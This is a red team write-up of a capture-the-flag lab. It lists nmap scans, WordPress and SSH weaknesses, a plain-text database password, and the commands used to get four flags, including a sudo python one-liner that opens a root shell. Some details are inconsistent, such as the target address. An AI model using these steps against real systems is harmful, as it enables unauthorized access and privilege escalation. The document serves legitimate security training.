Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

This scan identifies the services below as potential points of entry

```
root@Kali:~# nmap -p 1-200 192.168.1.105
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-08 17:28 PST
Nmap scan report for 192.168.1.105
Host is up (0.00085s latency).
Not shown: 198 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:15:5D:00:04:0F (Microsoft)
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds root@Kali:~# nmap 192.168.1.1-200
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-08 17:30 PST
Nmap scan report for 192.168.1.1
Host is up (0.00060s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds
2179/tcp open wmrdp
3389/tcp open ms-wbt-server
MAC Address: 00:15:5D:00:04:0D (Microsoft)
Nmap scan report for 192.168.1.100
Host is up (0.00093s latency).
Not shown: 998 closed ports
PORT STATE SERVICE

22/tcp open ssh

9200/tcp open wap-wsp

MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)
Nmap scan report for 192.168.1.105
Host is up (0.00081s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:15:5D:00:04:0F (Microsoft)
Nmap scan report for 192.168.1.110
Host is up (0.00070s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
```

- Target 1 Scan Command: nmap -sV 192.168.1.110
 - o Open Ports: 22, 80, 111, 139, 445
 - Exposed Services: ssh, http, rpcbind, netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
 - Wpscan user enumeration
 - Wpscan was able to enumerate users to find their usernames and passwords
 - SSH connections.
 - Users are able to SSH into the target computer with a password instead of a SSH key
 - Database credentials are in plain text
 - Database credentials for the wordpress site were found in the /var/www/html/wp_config.php directory in plain text. This allowed access to the mysql database for the site, password hashes, and other sensitive information
 - o Privilege Escalation with Python
 - User, Steven, has access to run python using sudo. He essentially has root access to run potentially malicious scripts on the host machine

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - o flag1.txt: b9bbcb33e11b80be759c4e844862482d
 - Exploit Used
 - Weak Password / SSH with password
 - After SSHing into the host with Michael's credentials, searched the /var/www/html directory for flag1
 - Commands run:
 - ssh michael@192.168.1.100
 - cd /var/www/html
 - o cat service.html | grep flag

```
michael@target1:/var/www/html$ cat service.html | grep flag

←!— flag1{b9bbcb33e11b80be759c4e844862482d} →
```

- o flag2.txt: fc3fd58dcdad9ab23faca6e9a36e581c
 - Exploit Used
 - Weak Password / SSH with password
 - After SSHing into the host with Michael's credentials, flag2 was found in /var/www

Commands run:

- ssh michael@192.168.1.100
- cd /var/www
- cat flag2.txt

```
michael@target1:/var/www$ ls
flag2.txt
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

flag3.txt: afc01ab56b50591e7dccf93122770cd2

Exploit Used

- Database credentials in plain text
 - After getting the database credentials from /var/www/html/wp_config.php, connected to the mysql database and searched for the flag

Commands run:

- ssh michael@192.168.1.100
- less /var/www/html/wp_config.php
- mysql --user root --password # Password is R@v3nSecurity
- mysql> SELECT post_title, post_content FROM wp_posts WHERE post_title LIKE "flag%";
- This returned the value for flag 3

flag3{afc01ab56b50591e7dccf93122770cd2}

o flag4.txt: 715dea6c055b9fe3337544932f2941ce

Exploit Used

- Privilege escalation with Python
 - After cracking Steven's password using john, the hash was found in the database. It was determined that Steven could run python with sudo permissions.
 - This allows python to be used as sudo to execute a shell program, granting access to the root account.
 - flag4.txt was found in the /root directory, the root account's home directory.

Commands run:

- python -c 'import os; os.system("/bin/sh")'
- cat flag4.txt

flag4{715dea6c055b9fe3337544932f2941ce}